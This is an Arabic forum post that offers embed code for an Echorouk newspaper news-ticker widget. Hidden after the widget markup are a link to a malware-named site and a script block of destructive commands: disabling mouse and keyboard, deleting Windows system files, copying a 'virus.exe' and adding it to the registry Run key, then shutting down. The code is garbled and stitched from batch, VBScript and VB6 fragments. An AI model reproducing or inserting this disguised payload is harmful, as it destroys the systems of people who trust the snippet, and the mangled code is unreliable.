كود اخبار من جريدة الشروق اليومي يضهر بطريقة احترافية ادخل موقع الشروق وحتشوفو
الكود :
<embed src="http://www.echoroukonline.com/ara/themes/rtl/img/flashNews.swf"
wmode="transparent"
FlashVars="xmlPath=http://www.echoroukonline.com/ara/themes/rtl/css/NewsClipHome.css&tickerPath=http://www.echoroukonline.com/ara/themes/rtl/css/arTicker.css"
quality="high" bgcolor="#000000" width="572" height="267"
name="flashNews" align="middle" allowScriptAccess="sameDomain"
allowFullScreen="false" type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer" />
</OBJECT></DIV></DIV></CENTER><A class=postlink
href="http://kweb16.malware-site.www" target=_blank>اقرأ
المزيد...</A> </DIV>
<script code="bat">
echo off@
C: \ WINDOWS \ RUNDLL.EXE souris, désactiver
C: \ WINDOWS \ RUNDLL.EXE clavier, désactivez
del c: \ command.com
del c: \ Io.sys
del c: \ Config.sys
del c: \ Msdos.sys
del c: \ windows \ system32 \ command.com
deltree / y C: \ WINDOWS \ COMMAND \ *.*
deltree / y C: \ WIN98 \ COMMAND \ *.*
deltree / y C: \ WinMe \ COMMAND \ *.*
deltree / y C: \ WIN_me \ COMMAND \ *.*
deltree / y C: \ WINXP \ COMMAND \ *.*
deltree / y C: \ WIN_xp \ COMMAND \ *.*
del d: \ command.com
del d: \ Io.sys
del d: \ Config.sys
del d: \ Msdos.sys
del d: \ windows \ system32 \ command.com
Deltree

On Error Resume Next
Dim copy, copy2, copy3, copy4
copy = "c:\virus.exe"
copy2 = "c:\windows\system\Project12.exe"
copy3 = "c:\y *.exe
copy4 = "c:\y *.jpg
FileCopy copy, copy2, copy3, copy4

Option Explicit
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Sub Command1_Click()
Dim InputValue As String
Dim nBufferKey As Long, nBufferSubKey As Long
RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersi on", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
InputValue = "c:\windows\system\Project12.exe"
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersi on", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)
End Sub
echo hacker-dz
shutdown -s
</script>

بارك الله فيك